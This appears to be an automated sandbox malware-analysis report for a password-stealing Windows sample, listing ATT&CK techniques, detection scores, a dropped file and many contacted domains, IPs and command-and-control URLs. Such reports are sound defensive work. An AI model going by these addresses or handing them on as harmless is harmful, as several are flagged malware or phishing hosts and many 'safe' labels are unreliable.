Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	612 Process Injection	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Rundll32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	24%	ReversingLabs	Win32.Trojan.Generic
SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\hkkRsa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\hkkRsa.exe	24%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.fontbureau.comTTF	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/6	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/n-u	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fontbureau.com6	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/$	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.galapagosdesign.com/	0%	URL Reputation	safe
http://www.fontbureau.comcoma	0%	URL Reputation	safe
http://www.takealicense.comReferer:	0%	Avira URL Cloud	safe
http://www.naspewt.xyz	0%	Avira URL Cloud	safe
http://www.takealicense.com/co63/www.naspewt.xyz	0%	Avira URL Cloud	safe
http://www.vestostore.comReferer:	0%	Avira URL Cloud	safe
http://www.pym479.com	0%	Avira URL Cloud	safe
http://www.freepad168.com/co63/	0%	Avira URL Cloud	safe
http://www.takealicense.com/co63/?aJElwV=C9mZAu2amj0/7xzN/ZGYFZ9Os9Pxtlf2WxsFucW+74+VhIoIvzmW589U18pQtRovant4&lz=9rXXjDMXIb6HXH-	0%	Avira URL Cloud	safe
http://www.creativebrea.com/co63/www.mazinhoccb.com	0%	Avira URL Cloud	safe
http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/A	0%	URL Reputation	safe
http://www.creativebrea.comReferer:	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cnu-eN	0%	Avira URL Cloud	safe
http://www.ballthingsez.comReferer:	0%	Avira URL Cloud	safe
http://www.dulichphucbinh.comReferer:	0%	Avira URL Cloud	safe
http://www.creativebrea.com	0%	Avira URL Cloud	safe
http://en.w	0%	URL Reputation	safe
http://www.saleschildcarriers.com/co63/?aJElwV=gtjAeIS6VJWpMIOvAorICaUf7+ed7+VEBFwjlL0fBy8QswGl2t9TVUNzPjmUB+tmUyAO&lz=9rXXjDMXIb6HXH-	0%	Avira URL Cloud	safe
http://www.ballthingsez.com/co63/	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/=	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.founder.com.cn/cn-	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/$	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/s	0%	URL Reputation	safe
http://www.fontbureau.comcom6	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cnvaB	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/es-ew	0%	Avira URL Cloud	safe
http://www.naspewt.xyzReferer:	0%	Avira URL Cloud	safe
http://www.creativebrea.com/co63/	0%	Avira URL Cloud	safe
http://www.myccsmartmove.com/co63/?aJElwV=McyR/z78/oMNrvlFuqxD/V8JfWPC4TTnrx7QyB/aq5OEZJfdbD3j+IdLq+ssY6HN52vi&lz=9rXXjDMXIb6HXH-	0%	Avira URL Cloud	safe
http://www.dulichphucbinh.com	0%	Avira URL Cloud	safe
http://www.inf9obase.com/co63/	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.myccsmartmove.comReferer:	0%	Avira URL Cloud	safe
http://www.f1-austin-tickets.com/co63/www.inf9obase.com	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/jp/H	0%	URL Reputation	safe
http://www.ballthingsez.com/co63/?aJElwV=dh5wnP7Ug0+YjaaSPNPjWLPMAAuifa570LEC5RUEdgVY9PwZv9hNJ3RIsZJs9uSwpSOZ&lz=9rXXjDMXIb6HXH-	0%	Avira URL Cloud	safe
http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro	0%	URL Reputation	safe
http://www.f1-austin-tickets.comReferer:	0%	Avira URL Cloud	safe
http://www.mazinhoccb.com	0%	Avira URL Cloud	safe
http://www.mattewigs.com/co63/?aJElwV=3AiLeGuBi37RfNw9iEe1gED9S58L9D44LalDhi66HjPelwFncooMVS2PHplI6kLySndc&lz=9rXXjDMXIb6HXH-	100%	Avira URL Cloud	malware
http://www.mattewigs.com/co63/	100%	Avira URL Cloud	malware
http://www.pym479.com/co63/www.creativebrea.com	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.dlafluid.comReferer:	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/=	0%	URL Reputation	safe
http://www.fontbureau.comdia	0%	URL Reputation	safe
http://www.mazinhoccb.comReferer:	0%	Avira URL Cloud	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.vestostore.com/co63/www.saleschildcarriers.com	0%	Avira URL Cloud	safe
http://www.cucinainvenice.com	0%	Avira URL Cloud	safe
http://www.saleschildcarriers.com/co63/www.ballthingsez.com	0%	Avira URL Cloud	safe
http://www.fontbureau.comrsiv	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.saleschildcarriers.com/co63/	0%	Avira URL Cloud	safe
http://www.dulichphucbinh.com/co63/www.f1-austin-tickets.com	0%	Avira URL Cloud	safe
http://www.inf9obase.com	0%	Avira URL Cloud	safe
http://www.freepad168.com	0%	Avira URL Cloud	safe
http://www.mattewigs.com/co63/www.dulichphucbinh.com	100%	Avira URL Cloud	malware
http://www.myccsmartmove.com/co63/www.takealicense.com	0%	Avira URL Cloud	safe
http://www.dlafluid.com	0%	Avira URL Cloud	safe
http://www.sajatypeworks.com-	0%	Avira URL Cloud	safe
http://www.cucinainvenice.comReferer:	0%	Avira URL Cloud	safe
http://www.naspewt.xyz/co63/www.mattewigs.com	100%	Avira URL Cloud	phishing
http://www.naspewt.xyz/co63/	100%	Avira URL Cloud	phishing
http://www.vestostore.com	0%	Avira URL Cloud	safe
http://www.vestostore.com/co63/?aJElwV=+eMjGIULdB7b+FjbEEC2CFnAZBB7ZIs3DDH5LmXZiTUQNAaNvk9FU6ysQ2HcgTeGr7Jo&lz=9rXXjDMXIb6HXH-	0%	Avira URL Cloud	safe
http://www.saleschildcarriers.com	0%	Avira URL Cloud	safe
http://www.pym479.comReferer:	0%	Avira URL Cloud	safe
http://www.f1-austin-tickets.com	0%	Avira URL Cloud	safe
http://www.takealicense.com	0%	Avira URL Cloud	safe
http://www.cucinainvenice.com/co63/	0%	Avira URL Cloud	safe
http://www.inf9obase.com/co63/www.cucinainvenice.com	0%	Avira URL Cloud	safe
http://www.vestostore.com/co63/	0%	Avira URL Cloud	safe
http://www.fontbureau.comalsd~	0%	Avira URL Cloud	safe
http://www.dulichphucbinh.com/co63/	0%	Avira URL Cloud	safe
www.mattewigs.com/co63/	100%	Avira URL Cloud	malware
http://www.fontbureau.comursiv	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
dlafluid.com	34.102.136.180	true	false	unknown
342284.parkingcrew.net	76.223.26.96	true	false	high
www.naspewt.xyz	184.94.215.140	true	true	unknown
td-ccm-neg-87-45.wixdns.net	34.149.87.45	true	true	unknown
www.saleschildcarriers.com	172.67.215.254	true	true	unknown
sni1gl.wpc.lambdacdn.net	152.199.21.175	true	true	unknown
shops.myshopify.com	23.227.38.74	true	true	unknown
vestostore.com	86.38.202.187	true	true	unknown
www.vestostore.com	unknown	unknown	true	unknown
www.ballthingsez.com	unknown	unknown	true	unknown
www.myccsmartmove.com	unknown	unknown	true	unknown
www.takealicense.com	unknown	unknown	true	unknown
www.mattewigs.com	unknown	unknown	true	unknown
www.dlafluid.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.takealicense.com/co63/?aJElwV=C9mZAu2amj0/7xzN/ZGYFZ9Os9Pxtlf2WxsFucW+74+VhIoIvzmW589U18pQtRovant4&lz=9rXXjDMXIb6HXH-	true	Avira URL Cloud: safe	unknown
http://www.saleschildcarriers.com/co63/?aJElwV=gtjAeIS6VJWpMIOvAorICaUf7+ed7+VEBFwjlL0fBy8QswGl2t9TVUNzPjmUB+tmUyAO&lz=9rXXjDMXIb6HXH-	true	Avira URL Cloud: safe	unknown
http://www.ballthingsez.com/co63/	true	Avira URL Cloud: safe	unknown
http://www.myccsmartmove.com/co63/?aJElwV=McyR/z78/oMNrvlFuqxD/V8JfWPC4TTnrx7QyB/aq5OEZJfdbD3j+IdLq+ssY6HN52vi&lz=9rXXjDMXIb6HXH-	true	Avira URL Cloud: safe	unknown
http://www.ballthingsez.com/co63/?aJElwV=dh5wnP7Ug0+YjaaSPNPjWLPMAAuifa570LEC5RUEdgVY9PwZv9hNJ3RIsZJs9uSwpSOZ&lz=9rXXjDMXIb6HXH-	true	Avira URL Cloud: safe	unknown
http://www.mattewigs.com/co63/?aJElwV=3AiLeGuBi37RfNw9iEe1gED9S58L9D44LalDhi66HjPelwFncooMVS2PHplI6kLySndc&lz=9rXXjDMXIb6HXH-	true	Avira URL Cloud: malware	unknown
http://www.mattewigs.com/co63/	true	Avira URL Cloud: malware	unknown
http://www.saleschildcarriers.com/co63/	true	Avira URL Cloud: safe	unknown
http://www.naspewt.xyz/co63/	true	Avira URL Cloud: phishing	unknown
http://www.vestostore.com/co63/?aJElwV=+eMjGIULdB7b+FjbEEC2CFnAZBB7ZIs3DDH5LmXZiTUQNAaNvk9FU6ysQ2HcgTeGr7Jo&lz=9rXXjDMXIb6HXH-	true	Avira URL Cloud: safe	unknown
http://www.vestostore.com/co63/	true	Avira URL Cloud: safe	unknown
www.mattewigs.com/co63/	true	Avira URL Cloud: malware	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.jiyu-kobo.co.jp/es-ew	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391405610.0000000005755000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391280868.0000000005751000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pym479.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.takealicense.comReferer:	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.takealicense.com/co63/www.naspewt.xyz	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vestostore.comReferer:	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.freepad168.com/co63/	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.comTTF	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396031854.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395847311.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395903699.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395807046.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395753968.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395704173.0000000005757000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.creativebrea.com/co63/www.mazinhoccb.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.naspewt.xyz	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comcom6	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396121393.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396210983.0000000005757000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dulichphucbinh.comReferer:	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cnu-eN	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390314780.0000000005776000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390359851.0000000005776000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.ballthingsez.comReferer:	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/6	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.creativebrea.comReferer:	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zhongyicts.com.cnvaB	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390741938.000000000575B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/n-u	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.creativebrea.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.naspewt.xyzReferer:	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com6	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396031854.0000000005757000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.creativebrea.com/co63/	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dulichphucbinh.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myccsmartmove.comReferer:	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.f1-austin-tickets.com/co63/www.inf9obase.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/$	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390741938.000000000575B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.inf9obase.com/co63/	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
